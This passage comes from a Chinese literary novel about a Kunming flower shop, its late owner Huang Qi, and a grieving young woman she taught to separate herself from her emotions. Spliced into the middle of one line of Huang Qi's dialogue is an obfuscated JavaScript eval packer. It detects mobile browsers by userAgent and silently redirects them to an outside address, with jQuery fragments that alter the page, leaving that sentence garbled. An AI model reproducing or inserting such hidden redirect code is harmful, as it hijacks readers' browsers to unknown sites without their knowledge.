石房子的院子里,没有麻栗,也没有桂花,但歌唱声如落花落果一般,洒落一地。麻栗的果壳像太阳外围的光焰,桂花像金黄色的馅儿,合起来,就是一颗明媚的太阳。姜籽依照这样的灵感,设计了一款歌友会纪念章,送给了演唱者们。 还有一份礼物,是姜籽单独送给石龙芮的。 “周至柳名字里的柳,是乔木。柳树可以长得很高大,但同时,细长柔韧的柳叶很招风。云贵高原,风大,很多树都要比平原地区更努力地抗风。每每有大风预警来,园林部门都要提前修剪道路两旁行道树的侧枝,比如蓝桉,就时常被砍到头秃。但柳树不太一样。柳枝柔软,比其他树木更能应对风。”姜籽说着,取出一幅风中柳,递给石龙芮。她相信,周至柳一定在云南的风中,释然了。在大地仁厚人也朴素的地方,或许是翠湖边的风,或许麻栗坡的雨,总之,他一定找到了露落拜。 演唱会进行到了最末,人声散去,响起一首民乐合奏曲《翠湖春晓》。 演奏者中,一个人抱着琵琶,已经秃顶,头皮上仿佛是四面环山一般,露出一池光亮的池水,这是老白。另一人穿着蓝色外衣,提着一把二胡,带着老花镜,长脸,颧骨突出。这是老石。琵琶清亮,二胡悠长,在一场聚会尾声互诉衷情。 石龙芮静静听完了全场。她记起父亲刚来云南时,提笔写字,“闲上山来看野水,”下一句,迟迟未写,那时,还有郁结。不知何时起,“忽于水底见青山”,已挂在了书房。她眼前忽然回到了小时候父亲带她去公园蹬游船的画面。在小女孩的眼中,所有登船的人都很快乐,连带着水波纹都快乐,这片湖也快乐。 这一刻,她在乐曲中看到的那幅画面,就是那样。阳光在银杏叶间嬉戏,湖水透亮,微波有光。她的呼吸,开始变得快乐和轻盈了。 20. 第十二课(上):黄杞 和情绪分居 01 浪来了,就跟着荡一荡 孙杭樱买了一碗很大的面,摆在面前,比脸还大两圈。这是她常去的一家面馆,周边几家的米线店,就它开得最火红。来自文山的细米线和墨江的红米干,每两天运送一次,汤底也很新鲜。嘴很叼的老人家也在这里松了口,常常来吃。 孙杭樱选的反而是北方的宽鸡蛋面。她平时很少吃面,最常吃的是好消化的红米干。压得又宽又实的宽鸡蛋面,不是她口味上和肠胃上最爱的,但最抗饿,可以帮自己长点力气。这几年,孙杭樱来店里吃过无数次饭,但鸡蛋宽面只点过两次。 一次,是半年前的某一天,送别完黄姐之后。 一次,是今天,她好好首饰了黄姐的店,打算把少量植物出清,待休整后重开。 吃完这碗面,孙杭樱就要和二更相遇了。 和孙杭樱遇见,对二更来说,只是或早或晚的事。 黄姐的花店,杞记,在二更回家时常经过的一条老街。 这是一片老社区,道路总是弯弯曲曲,气氛却生机勃勃的。本地食客养红的凹糟馆子、十几年旧照片挂满墙的小照相馆、卖中药汤锅、泡酒罐子的拐角陶器店、收纳着周围十几栋老楼任何一家偶尔可能需要的螺丝钉、螺丝帽和垫片的五金店,都在这里星点式的散步,长久地开着。偶尔,其间夹杂着一家修脚店或是修表店,都不会让人觉得怪异。毕竟,这就是生活。这里有日常生活犄角旮旯各种需求的答案,别处找不到的,这里会有。 二更最初走到这里,是为了找一家能把衣服改小的裁缝铺。走了两、三个街区,终于在这里找到了一家裁缝铺子。严格来说,这只是一家露天出摊的缝纫机小摊位,小小的缝纫机顶着一棵高大的梧桐树,从容地夹在一家开锁店和一家烟酒回收店中间的小角落里,并不起眼,却很实用,像五金店那些密密麻麻小抽屉里某一颗你恰好需要的螺丝。 附近,还有两三家大小不一的农贸市场。二更有次傍晚七点半左右经过这条街回家。大约是哪家香料店正好在此时进货,整条街都是孜然的味道。一家店平时只卖南瓜和冬瓜两类瓜的店面,门口停着货车,正在卸货。一个大汉站在货车上,用粗壮的双臂和娴熟的技术,一个接一个地往店里抛瓜,店门口也站着一个细瘦的男子,看起来很什么肌肉,竟也能一个接一个地稳稳接住,只是他需要一只蹲着马步,稳住下盘。两人之间冬瓜划过的线条,是二更这几年看过的最有力量感的抛物线。不远处,一家桶装水店的店员们也很有智慧,两、三块长条木板,按照杠杆原理搭好,在晕水桶的货车与仓库之间形成一道跷跷板式的桥梁。运水桶的货车卸货时,水桶先从货车上因重力滚下,顺着跷跷板,一路先下落,最低点后自己上爬,到某个它自己会停的点,店员再推一把,它就能乖乖滚到仓库了。所有的普通人在这条街上,日复一日地生活,匆匆忙忙红红火火,带着诚恳生活的信念,也带着唯手熟尔的巧劲儿。这是很可爱的画面。 给这片社区增加另一种优雅的地方,是杞记所在的一条花市街。 这是昆明市区里的一处中等规模的花市。不同于更知名的亚洲第一鲜切花市场斗南花市,这里的鲜花市场更为日常,少有游客,是专供本地买家的盆栽和鲜切花。是市,也是街。市场里面是近百家盆栽花铺子,外面三、四公里的长街则排布着几十家鲜切花店和花艺店,侧重兜售礼品花束和花艺制品,因此被人们叫成“花市街”。这些花店的名字,大都简洁朴实,很少有刻意吸引眼球的,或那种平日里叫不出口的小说名字。它们更像上世纪70、80后取名常用的名字,诸如张超花店,王勇花店,温馨花店,给人一种很踏实的第一印象。 由于花市街更靠近市中心,鲜花市场有什么流行的吸引年轻买家的新招式,这里总是最新出现。比如,将大红色的红掌喷上马卡龙色系的花艺用漆,让它变成青苹果绿或是浅紫色的一棵心,质就从喜庆变成了文艺。或是用流行的漆扇技艺,对白色、浅色的蝴蝶兰花朵进行挑染,使花朵颜色迷离,更具独特的观赏性。再或者,改变传统的花束包扎形式,增加古风或者卡通等元素。每个店铺外都放着两排三、四层的花架,店主们把自己的作品摆在上面,各显神通。 二更第一次来花市街,恰逢蓝花楹盛开的季节,这里并不是游客们拍照打卡的热门地点,花,不开在游客的相机里,而是掉落在普通花店的花束上,给成品花束增加一点紫色;落在停车的挡风玻璃前,隔着玻璃给车内的小仙女摆件穿了一件裙子;落在遛弯的斗牛犬头上,主人和它都不着急抖落;落在一旁米线店的小桌上,人们头顶着蓝花楹甩碗米线。它也会落在垂垂老矣的老人头顶上,为老人的余生制造一丝意外的美好和生计。花市街的浪漫,不矫情也不小资。 然而突如其来一场雨,二更连忙躲雨。 她找了一家门外有雨蓬的花店。女老板没赶她走,还拉出来个小凳子,让她坐一坐。女人在雨蓬两角下放了两个桶,接雨水。再然后,她把店里自己养的花花草草搬出来,让小雨淋一会儿。中途,雨势变大,在它打伤叶子花朵之前,她又及时地挪了回去。如此折腾了半个小时,雨才渐渐停了。 二更临走时,女人仍弯着腰在收拾花。她留着中短烫发,浅棕色,扎起来,像大熊猫屁股上的小尾巴。二更始终没有看清她的脸,只觉她身材匀称,动作利落。二更道谢时,女人也忙着,只是用很欢快的语气说,下次再来! 她抬头看看店名:杞记。 之后,二更偶尔会来店里买买花。她自己住,家里不热闹,遇到一些清冷的事时就要自己承担,所以她觉得不必再多增一些清冷的小事,比如,很好看的花慢慢凋落。于是,买花总买花期最长的那种,它们通常不是最好看的,都是些生命力顽强的草花。 杞记在这条街的花店里不算小,有两间门面,店摆出来的花束总有些特别。杞老板的花束总是带着一种奇妙的氛围感。具体很难形容,那大概是....和太阳有一点关系的样子。花儿们像带了日出时刻或日落时分的滤镜,植物们本身的颜色向着太阳又跨出了一步之后的色彩。二更也渐渐看清了杞老板的样子。她五十多岁,长相清秀,喜欢穿白色、浅黄色的衣服,麻的、棉的材质,看起来整个人很放松,也让人感到亲切。 今天,杞老板花店看上去有点奇怪,门开着,门前没有摆花束。二更探头往室内看,花架、花器还在,但橱柜、桌椅似乎在进行乾坤大挪移,与平常大不相同。鲜切花并不多,应该没有新进货,只有一个花架上的花瓶里,插着几只成熟了的石榴,比日常食用的大石榴个头小了一半,却更鲜红,应该也是前段日子的进货。鲜花少了,往日常被忽略的盆栽植物就现了身,几十盆大小不一的植物,零零散散地放在一边,状态都不错。 一个二十多岁的女孩子,拎着浇水壶从后门走进了店里。她在工作,没看见二更站在前门门口。女孩进屋后一直轻声低语。二更意识到,女孩没跟自己讲话,那是在?女孩在问盆栽植物,“要不要给你浇水?”“今天有没有很渴?”“今天的太阳会不会太晒?”,一边和植物们说话,一边选择性地浇水,时不时,她会躲开一两盆,偶尔还会轻轻用脚逗一逗某一盆花。这个穿着简单的牛仔裤和宽松天蓝色衬衫的女孩,未经任何扮相,此刻也像个魔法主题动画电影里的精灵。而且,很偶然地,二更也被拉拢进了这部电影里。 二更觉得很有趣,她静静地看着女孩。女孩却突然停住了。脚下不知道什么时候,踩到一颗很小的石头,常被混在混合土里的增加透气性的小石头。女孩被硌到了,后退一步,捡起来,对着那颗乳白色的小石头看了很久,很专注。 一瞬间,结界破了。女孩发觉了二更的存在。 她不是很意外,花店还开着,时不时会有客人进来看看。“鲜切花在出清。您需要吗?有折扣。” 二更觉察到,女孩的眼中彷佛带着感伤。那原本应该是一双细细长长,笑起来像一道温柔的桥的眼睛。“是换老板了吗?”二更问。 “不,黄姐,她走了”,女孩语气很平静,像一片平静的湖泊。 经历过至亲离开的人,认得这种藏着很深的湖泊。二更没再说话。 女孩轻微地抽了一下鼻子,解释道,“家族病,去世了,没有控制住。”然后,她沉默了。 说抱歉有些无力,对一个陌生人强行安慰也不合适,二更没说话,也没有动。她想靠近,又怕太冒昧,索性慢慢挪动了几步,走近了那一排在折扣出清的鲜花。月季、洋桔梗的状态都还不错,只是多开了一个度。买回家后,要早丢一两天。 “盆栽也可以出清”,女孩说。“店会先暂时关闭两三个月,调整后,再重新开放。” 以前在门口路过,总觉得花店里满满当当,原来主人一走,这里会一下子空荡荡,彷佛她带走了一个世界。在空荡之中,一棵柠檬树显得尤其显眼。它很高,大约有一米八了。叶子油亮,花含苞,青色香水柠檬果挂在枝头,不多,三五颗,每一颗都雄赳赳,气昂昂的,炫耀着它已经跨越了光辉的成长历程。二更感受到了,那是被爱意养大才会有的骄傲,每一颗果子都像自信爱笑的孩子。 见二更对柠檬树感兴趣,女孩说,“我第一次见杞老板的时候,她正在给这棵柠檬树浇水。那时,它没有这么高,也就一米六吧。”女孩用手比照起来高度,像在给一个小孩子比身高。“她当时掀起来盖在树上的头纱,给叶子喷水,像给新娘子掀盖头。她从头纱里探出头来时,刚好看见我在看她和柠檬树,不好意思地笑,露出一颗小虎牙。” 小虎牙?像刚才的那颗小石头那样吗?原来如此,女孩是因为这个才愣住的。 那一日的夕阳下,一个女人给披着婚纱的一棵树浇水,画面很美。那颗小虎牙在夕阳的柔光里,像一颗俏皮的星。孙杭樱觉得,那个画面是她这几年看过的最美好的画面。它充满光明,带着香气。不恰当地说,像是谁忽然来了,一下子把攒在她身体里很久的一条黑色的虾线抽掉了,她变得很洁白。 “为什么要给树盖头纱呢?”二更问。 是啊,为什么要给树盖头纱?三年前,在大理洱海边,不算热闹的湿地边,一座民宿小院子里,孙杭樱也是这样问黄杞的。 三年前,洱海边上。 母亲病重去世后,孙杭樱外出散心。她选了洱海边人最少的一块湿地。高铁站旅行社塞给她一张纸质地图,她把当时网上搜能出来的前四、五页提到的位置都划掉,从剩下的几块清净区域里,找了个有派出所在附近的最安全的地方。 杞老板当时是那里一家民宿的老板。她的小院子里常有流浪猫、隔壁人家的猫咪来玩。柠檬树养得好,爱开花,她怕花粉呛到小猫,就给它盖了一个蕾丝的盖头,那种妈妈们会盖空调、盖冰箱的蕾丝薄纱。柠檬树是爱渴水的,两、三天就要交一次,叶子上最好也喷喷水。每次喷水的时候,她就掀开头纱,还要夸一夸柠檬树,“你长得很好看”“又长新叶子了”。 孙杭樱走进那个小院子,是因为一股栀子花香。 那是一个夏天,天很凉爽。一连几天,只在下午,下一点点雨。点卯似的,来了就走。按理说,这样的天气不冷不热,是很舒适的。但孙杭樱很怕冷,稍微一点雨就要把自己裹起来。她衣服穿得少,赶着那一点点雨,走进了小院子里。 黄杞正在院子里忙,见有来人,她起身的动作有点慢,像猫咪转头,黄杞看她,看得有些仔细,但不是敌意的打量,而是一只动物睁大眼去看一个她觉得还不错的新人类。孙杭樱有些不好意思,脚步也停下了。 黄杞喊她进来喝茶。热茶,此外,黄杞还拿了一个小小的暖水袋,一个小小的鸟笼样子的取暖器。这是夏天,黄杞也没多问什么,就准备好了这些。她说,“觉得你凉。” 并不十分冷的天气里,孙杭樱不知道一个人要如何从另一个人的脸上身上看出来凉。她那时一定很狼狈。但她听了,有一点暖。 那天,她是这间三层楼小院为数不多的客人之一。她抱着一杯热姜茶坐在门檐下,坐了一下午,背包都没有拿进去。 院子里有很多植物,那天下午的雨,也巧,下得比往日更大,更久。雨水先从高大的香樟上,落到海芋,再是龟背竹,再是栀子花、常春藤、波士顿蕨和凤尾蕨。雨水把所有植物的叶子擦得更亮,栀子又给所有的叶子渡上了一层被雨萃取后的清香。 安顿好女孩后,黄杞又回院子里翻土。院里新买了一些花,虎皮兰,蓝雪花,她打算种在院子角落里。雨下着,土表湿润,这时候种下刚好。在手中热茶、身边小鸟笼带来的多股暖意中,孙杭樱看黄杞挖坑、翻土、填满,她不禁在脑海中把伤心事也翻出来,又挖个坑,再埋掉。黄杞反复了多少次,她就在心中反复了多少次。悲伤,一次次地得到了安抚。 休息时,黄杞过来喝茶,孙杭樱掏出来包里的药,是一些肠胃药、舒缓焦虑的药,以及医生开的少量安眠药物。那段时间,她的状态很差,连日的失眠加重了焦虑情绪,并导致了肠胃问题,时常止不住呕吐,她因此去看了精神科医生。孙杭樱拿出来药盒,想告诉黄杞,她不会做什么危险的事情,只是得按时吃药,调理身体状态。她可能看起来状态有些差,但已经是正常可控的范围了,偶发看起来很呆滞,也没什么。她甚至下一步都要翻包找出来病历。她不想给这个好心的店主添麻烦,如果对方赶她,她会乖乖低走,打个车去古城人多的地方找家酒店。 黄杞拿着药盒仔细看了一眼,只说,“你看,这个药盒的包装是蓝天白云。我们这里真有这样的天空,等待会儿云散一散,你就能看见了。明天,我带去出去看,更美。” 孙杭樱从没想过会有人这么“解读”药盒。她一时感动得说不出话来。 “你睡眠不太好啊?”黄杞询问的语气依旧很平和,“我呢,过去也是,我有一些办法,你试一试。” 黄杞说,自己属蛇。睡不着的时候,她就想象自己是一条蛇,游到岸边树林去晒月亮,不问世事,在月光下温柔蜷缩着。或者,变猫,像院子里的流浪猫在花架下睡觉,用脚丫子一上一下地打拍子。猫做这个动作时有秘诀,秘诀就是 - - 没有任何规律,放弃人类的节奏感。她也这样,不考虑人的任何事情。天热时,猫在紫藤花架下翻肚皮,四脚朝天睡,她也学着办。总之,想变什么动物都可以,重要的是,把做人的苦恼在晚上收一收,锁起来,不去想。把那些悬而未决、无法自控的事放一放,也放过自己,先保证每天都能睡个好觉。 黄杞说,大多数动物都比人类更会睡觉,所以变成动物的人,更容易入眠。人的烦恼恰恰来自于太会做人了,做个左右逢源的人、有钱人、成熟的人、被人喜欢的人。这当然好,但也会带来烦恼,于是大家需要走神。失眠、无助、迷茫、寂寞时,做人难过,做棵树或做个小狗,就好受多了。 黄杞说这些的时候,就坐在孙杭樱身边,在缝一只坏掉的玩偶。那是上次来住客人带来的玩具,一只被同行的大金毛咬坏了的玩具,已经开了线。大金毛走了,主人留下玩具,没有带走。黄杞舍不得丢,用小苏打和消毒剂洗干净,缝一缝,还是一只很可爱的小兔子。可以拿给院子里的猫咪玩。孙杭樱在旁边看她缝缝补补,感觉玩偶又活了,她也在“活着”,具体的活着。活着,在一针一线之间,在缝缝补补之间,是一个很具体的动词。 “人啊,不开心、开心,都是情绪,你得习惯,迎来送往。你要学着,不和它们一起住,尤其是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294823|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一起睡”,黄杞说。 孙杭樱第一次听这种说话,和情绪分开住,不要一起睡。她睁大眼睛看着黄杞,彷佛在很认真地回味着她刚才说的话,像课堂里最认真但缺点灵感的学生,把黄杞逗笑了。 “这不难啊。你就说,楼上那几间房子吧。你可以想象,你自己住一个屋,你的情绪和感受住另一个屋,如果还有什么其他的,比如过度的兴奋啊,那些好的情绪,也单独拎出来,住隔壁那个屋。”黄杞笑着解释说,“没那么复杂,你看着它们,就会了。人就是这样,得心大,容得下,但是,也得分得开,光容得下,但都混着了,也不好。你还是睡不着,身上还是重。人得轻。 所以我说,把自己想象成别的,做人很难甩掉情绪,但做做其他的,就好甩掉了。你也可以把自己当看海,海有潮汐,起起伏伏的,不可能永远平静。大理的洱海,你站高一点看,也像一片海。哦对了,它叫海,但不是海,是高原湖泊。不过大理风大,浪被风吹起来的时候,就很像海潮。你来了大理,就跟着它学一学,浪来了,就跟着荡一荡,允许它来,允许它走。如果不走,你又暂时离不了,就要学着和它分居,分开睡。这样,慢慢就能睡着,人慢慢就好了。” 休息够了,黄杞还要接着栽花。这次,见孙杭樱身上暖一些了,她喊她一起,把几棵蓝雪花种在墙边。这种植物在日光充足的地方很好养活,只是容易倒伏,种在墙边,用架子固定,它只需要一个夏天就能爬到半墙高。 孙杭樱戴上长袖手套,拿起小铲子开始翻土。这次,是真的翻土了。她脑海中又开始浮现一些母亲去世前后的画面,埋土的时候,她试着将过去的记忆一一埋掉。黄杞说的“分居”,启发了她。她在心中默念,将这些悲伤和思念埋在地下,和她分开,试试看。黄杞会时不时过来看看她,指导她下一步该如何做。黄杞不经意间微笑时露出来的虎牙,像是一种很静的夜里亮起来的萤火虫,带领她走向一个很安全的地方。花草间有小虫,爬到了黄杞的衣服上。只有一只。黄杞没有打,而是轻轻地把小虫抖到了地上。 那晚,或许是因为帮工劳累,孙杭樱睡得还不错。住了三五天,黄杞如约,带她去看了美丽的景色,甚至还拉着她去村子的后山上找了好看的野生锦鸡。后来,她时常会去大理,越过景区,直接去黄杞的院子里住。没过多久,她需要的安眠与胃药药量就越来越少了。医生问她,最近有什么好事情。她说,遇到了一个很好的人,教了她如何和情绪分居。她的眼神很亮,像萤火虫,像杞老板笑起来的那颗虎牙。“分居?”医生第一次没有听懂,又问了一遍,又在口中反复念了几次,忽然哈哈大笑起来。“真是个很妙的比喻啊!”,医生感慨。女医生已婚,因老公打鼾、翻身、体味太重等原因,几年前就和老公分房睡了。分了房,日子还能过下去。“你好像遇到了一个很厉害的人呢”,她恭喜女孩。 每次去小院住,孙杭樱都很兴奋地把新的药量告诉黄杞,告诉她,自己又好了一些。黄杞也接纳了她这个奇怪的习惯。孙杭樱觉得,药盒给黄杞看过,这药就开了光,就会对她管用。为了表示感谢,她每次去都会带点别的盒子,香薰礼盒、茶业礼盒。无论来得时候多开心,她住上二楼小屋的时候,都记得黄杞那句话,和情绪分开住。于是,把好的坏的都放在隔壁屋,自己一身轻松,推开门,好好睡个觉。 第四次去,大概是半年之后了。孙杭樱问杞老板,可不可以在这里打个工?再过一段时间,她就要再去昆明,去一家专业的寄宿式复读学校好好补课,争取参加下一次高考了。 孙杭樱这段打工经历,赶上了大理的旅游旺季。由于旅游业一步步渐涨,黄杞所在的这片区域也热闹起来。那一阵子,大理多阵雨,住客们在院子里放了密密麻麻五颜六色的伞,给阴沉的天气强行加入了亮色。黄杞院子里的住客们都是女孩子,孙杭樱觉得很自在。她每天8点多起来都很忙,整理床铺,打扫卫生,收拾院子,忙完了,一般都已过11点了。这时,她和黄杞就坐在天井里,闲着发呆。吃过午饭,有时睡个午觉,有时不需要。下午还是有些整理的事务,忙完,院子里新种的晚饭花就开了,该吃饭了。晚饭,黄杞会做得多一些,赶上恰好在的客人,大家会一起吃。也会留一些,给夜归的女孩子们当宵夜。 为了做顿好吃的饭,下午三点,孙杭樱就得和黄杞去街上买菜。偶尔,她们带回来一些在云南并不稀罕的小水果,给女孩子们尝一尝,比如释迦、仙人掌果、滇橄榄、酸角、羊奶果。院子里面新搭了个架子,黄杞种下了百香果。搭架子时,一同帮忙的客人一直说,结果子了,要来吃。 傍晚比较闲,她们就结伴去距离古城有段距离的老街上转转。黄杞又教了她新的一招:放气球。散步时,可以买一只气球,走到半路,情绪差不多了,可以放走,或者系在哪里,或者随便送给喜欢气球的人。她们还会一起用院子里的洋茉莉染指甲。黄杞说,植物一直在生长,就像人的指甲。隔两周,她就喊孙杭樱剪指甲,她用这种方式告诉孙杭樱,日子在往前走。 孙杭樱重返校园之前,黄杞给了她几个礼物。一盘老式香膏,圆盘盒子,需要旋转打开,带一层锡纸。她叮嘱孙杭樱,锡纸要一点点撕开,用完了再撕。睡前涂一些在手上、耳后、脖子、额头,可以助眠。栀子香,是孙杭樱第一次来院子里闻到的香气。可以把涂它当成一个仪式,只有告别了一天各种情绪,把它们赶到隔壁屋子里去时,才可以用它。此外,还有一些泡水喝的花茶,玫瑰、菊花,以及院子里椿树上攒下来的香椿子,嘱咐说,躁了烦了,泡水喝,清热。 最后一天,黄杞带着孙杭樱买了十个气球,两人走在路上,像一对卖气球的母女。她们打算沿着洱海的栈道一直走,走一段,放走一只。结果路上一直被偶尔碰到的游客问,干脆就卖,一路上卖了六个。剩下四只,对着夕阳,一人放走一只,又各自在树上栓了一只,留给不知名的谁。 当二更沉浸在孙杭樱讲述的往事中时,“叮”的一声,杞记门上的一只铜铃想了,铃声把两人拉回到花店里。 来人是一位个子很高的男士,看花?看盆栽?来人踱步,似乎觉得走错了地方。孙杭樱尚未来得及搭话,来人就走了出去。 二更看那只摇晃着的高高的风铃,似乎也是大理、丽江一带常见的祈福风铃,或许,就是黄杞从大理带来的。“那这棵柠檬树,也是从大理挪过来的?”二更问。 “对,她租了一辆大货车。货车里有两个行李箱,两个包,她,和我,剩下的就是一大堆植物了。”女孩回忆道。她又一次认真地打量这棵高高大大的柠檬树。整个树冠的姿态如博山炉一样,向上走,向上长,健康且昂扬。她眼中满是怜爱。“要的话,这棵给你。需要付一些钱,因为白送的话,我怕人不珍惜。柠檬树很渴水,在店面休整重装期间,我觉得,还是给它找一个家,日日被照料着,最好。” 看着油亮的柠檬树,二更想起来,自己曾养过三棵柠檬树,最后因为搬家,都没有留在自己手中。其中一棵,因她出差,因缺水英年早逝了。另一棵命最好,被一位好心女孩接手。她开着新车,跑了大半个城市来接亲。柠檬树是一种性格特别决绝的植物,喝不到水,就告别很彻底,离开了,就再不回来。二更怕她依然不能把它照顾好,尤其是像如今这样好。 “如果明天你还在,我可不可以带另一个女孩过来。她家,一定可以让这棵树好好地继续长高。” “好。”女孩走到柠檬树前,摘下了最大的一颗果子,递给二更。二更接过,放在手心,柠檬果子有些大,她勉强能握住。手心里,开始生出隐隐的清香。 “这个柠檬树,好像很喜欢你”,女孩看着她很欣慰地说,“你没有闻到,它更香了吗?” 21. 第十二课(下):黄杞 和情绪分居 02 空气流通,水能流透,根不闷着 柠檬握在手中的那一刻,二更产生了奇特的感受,某种情感一瞬间触发了。通常,人们把这种感受叫做共情。但二更感受到的,是树的主人黄杞强烈的共情能力,她对这个纷繁世界所感受到的各种汹涌情绪。 黄杞,是共情能力很强的人。 从小,她就能敏锐地觉察到家里人的情绪,那些幽微的,藏在家具缝里、地缝里的情绪,成人之间好不容易按捺下来的负面情绪,小孩子应该不懂也觉察不到的情绪,她都能感受到。她甚至知道它们躲在哪里,床背后,厨房老的木桩砧板地下,筷子盒底的水渍。 情绪对她来说,像无线电波一样,没有表征,却可以被接收,哪怕她也不想这样。 黄杞的家庭餐桌上,常年无人说话,然而每一个人内心的不悦,她都可以感受到到。一次,家里吃火锅,父亲用扳手扭动塑料壳已经坏掉的旋钮时,她能感受到他内心的愤怒。他因为昨晚母亲没有好好对待奶奶存下的愤怒,足够把眼前一锅热汤直接砸翻。他忍住了,她知道。但她也因此,在某种程度上,被烫伤了。这样的伤,在黄杞的童年中,不计其数。但无人可以倾诉,渐渐地,她伤痕累累,变得沉默寡言。也罢,在家里,原本就是没有什么空间可以说话的。 小小的人,容纳了许多事不关己的忧愁,家庭成员之间隐隐的矛盾与各自的淤堵,她都有所沾染。所谓有限身,千岁忧,就是这样。所以她不是很会笑,很少哈哈大笑,几乎没有由内而外地轻松过。 少女时代,黄杞是朋友之间最好的倾听者,因为她懂。并不是她想懂,而是因为,看透别人的情绪很简单。她并不是主动想看的,然而她和这些情绪似乎连了线一般。当小姐妹们说这个男人好不好看、那个男人是不是对她有意思,如此种种,她总是能用最恰当的温度去倾听,表情温和,不多打听,恰到好处的“嗯”“然后呢”,像一只勤快的蚯蚓,把别人内心的瘀滞与踌躇,都暖化了,流动成一道潺潺小溪。更何况,她沉默寡言,从不嚼舌根,也不会主动和人聊天。这样的人做倾听者,再合适不过了。 和她聊天真舒服啊,她总是能精微地调动这条小溪的流速与流向。小时候的她,也会感受到引水为渠的乐趣。毕竟那时,小姐妹的想法都很单纯简单,无非是小男孩小女孩之间的青梅情愫。 成年后,每个人心思都复杂起来,各怀鬼胎。溪水不再清澈,它们迂腐、混乱,散发出不好的味道。于是,这种高度的共情天赋变成了一种惩罚。她比别人需要更多的时间,去澄清一天之中吸纳和感受到的种种情绪。如万箭穿心一般,太多和自己无关的情绪都能穿过她,但没有穿透,停留在她身体里,像挂在树杈上的风筝,飞不动了,落成了自己的苦果。 怎么办呢?一度无解。她认命了。 结婚前,她就知道,老公并不爱她。不过这无所谓,她也不爱他。她们像那个年纪的许多人,无非是什么年龄干什么事,从来没有考虑过反击。婚后三个月,老公就不耐烦了。她也知道。于是一年后,她就找了理由,提交了证据,结束了这段婚姻。 其实男人出不出轨,对她来说并没有那么重要。如果在“不许说谎法庭”上,回答“不许说谎法官”的询问,她会如实交代:丈夫的情绪很浑浊,他家人也是。所以她总是处在一种混乱的情绪负担之中,在浑浊的海水里游泳,喘不过气。情绪过载,过不下去了。但这样说,无人能理解。所幸,老公“争气”,婚内出轨多次,见黄杞不吵不闹,他也不避讳。黄杞只需稍微用心,就能找人拍到证据,够用得很。 她有充足正当地理由成为婚姻的受害者。但只有她知道,她逃离的从来不是婚姻,不是一个出轨的丈夫,一个吵吵嚷嚷的家庭,而是自己黑洞一般无底,浑浊凝固的内心。它彷佛是一个塞满了发霉衣物的衣柜,就快要倒塌了。 离婚后,为了清空藏污纳垢的心,她一直在跑。开着车,从北方到南方,尽量往温暖一些的地方跑,毕竟太阳晒着,身子里的血液也会流动得更快一些,排污也会快一些。她一直如此相信。 车开起来,逃离的意识浓烈了,彷佛一辈子收纳过的情绪忽然醒来,都在追击她。受不了的时候,她就停下来,找个酒店去洗个澡。 和前夫在一起的时候,他按照喜欢的温度,把家里的热水器持续固定在45度。而黄杞怕冷,每次要调,都会吵架。后来她觉得麻烦,索性什么都不做了。就这样,黄杞洗了一年多45度水温的澡,夏天还可以,冬季就会冷。 如今,哪怕被坏情绪追击着,她终于能按照自己喜欢的温度洗澡了。真好。 往南走,她知道南方暖和。她想找个流浪汉都冻不死的地方,这样她也冻不死。原本打算去江南,但她怕蟑螂。有人告诉她,云南干燥一些,蟑螂少。她的积蓄不多,算了一下,刚好能到西南,走走转转,找个地方,做点小生意。做下这个决定的那一天,她跑去电影院看了一场喜剧电影。一屋子的陌生人,捧着喷香的爆米花,在同样的笑点哈哈大笑,这种体验对她来说,也像是在排毒。 很神奇地,大概是一路排了些心毒,进入西南后,她不是那么着急了,心也不自觉地放宽了,偶尔会在一地多住几日,过过久违了的日子。离开时,把自己带上就足够了。这里的人们说话的语调,她这个中原人能听得懂。如果人们说话有形状,云贵川渝的话,肯定不是一条线,而是不断地波浪线,每个话音最后都是圆兜兜的,有点撒娇的意味。她挺喜欢,有时候会学着说,一边学,一边笑。 一次,上路之前,她在酒店门口捡到一盆花。三盆塑料盆自吸水的绿萝,叶子有点黄了,但还是活着的。这条街上都是小店,两、三个门面正在装修。绿萝,大概是前一家店里的东西,搬走之后直接丢了。 她想,车上正愁有点单调,便收留了三盆绿萝。 这是一个开始。此后,她越收越多。 因为累了,身体有点吃不消,她在贵州安顺市找了个短租的房子。小区里有不少年轻人,每次路过垃圾桶,开面都有许多塑料外卖餐盒。时不时,还有花。现在城里扔花的人真多啊。有时候是一束花,有时候是带着花盆一起。她把还能活的盆栽捡回来养。那段时间,赶上春节,她捡过最多的就是蝴蝶兰。还有几朵花苞时,就被人丢掉了,其实放几天还能开。再有就是桂花,被浇了太多水,掉了叶子。晒一下,根缓过来后,还能养。她还捡过拖把,是一个拖把样子的蟹爪莲。被捡回来后,养了十几日,它开出了白色的花,拖把头变成了仙女散花。 黄杞怀疑自己是一棵树,是木命,被丢的植物在她手里都能活。家里,渐渐备了一些常用的驱虫药,喷一喷,抹一抹,一些植物就能缓过来。再不济,就求老天爷下一场雨。雨水一救,快不行的花也能活。 从安顺兜兜转转到六盘水时,黄杞遇见了一个在小区里收留植物的老太太。 孔老太的植物收容花房,叫做雪花亭。过去这个凉亭曾经爬满了爬山虎,在某一年,爬山虎太过茂盛,又生了病,小区无奈地进行了清理。亭子的石柱上留下了它过去攀爬过的吸盘,风吹日晒,渐渐变成了刻在柱上的雪花。人们便把这个亭子叫做雪花亭。 黄杞住进这个老小区的时候,一个女孩正在对着一盆垂丝茉莉哭。一边哭,一边很抱歉地说,“不好意思,没有养好你。”据女孩说,最近它一直在落花,怎么都止不住,看起来也不精神了。花看起来也会不精神,仔细养过花的人,打眼一看就知道。一个老太太说,“没关系,你放这里,我来养养她。”她重新换了盆,换了土,给根松了口气。盆地放了几块弧形凸起的瓦片,确保透气漏水。 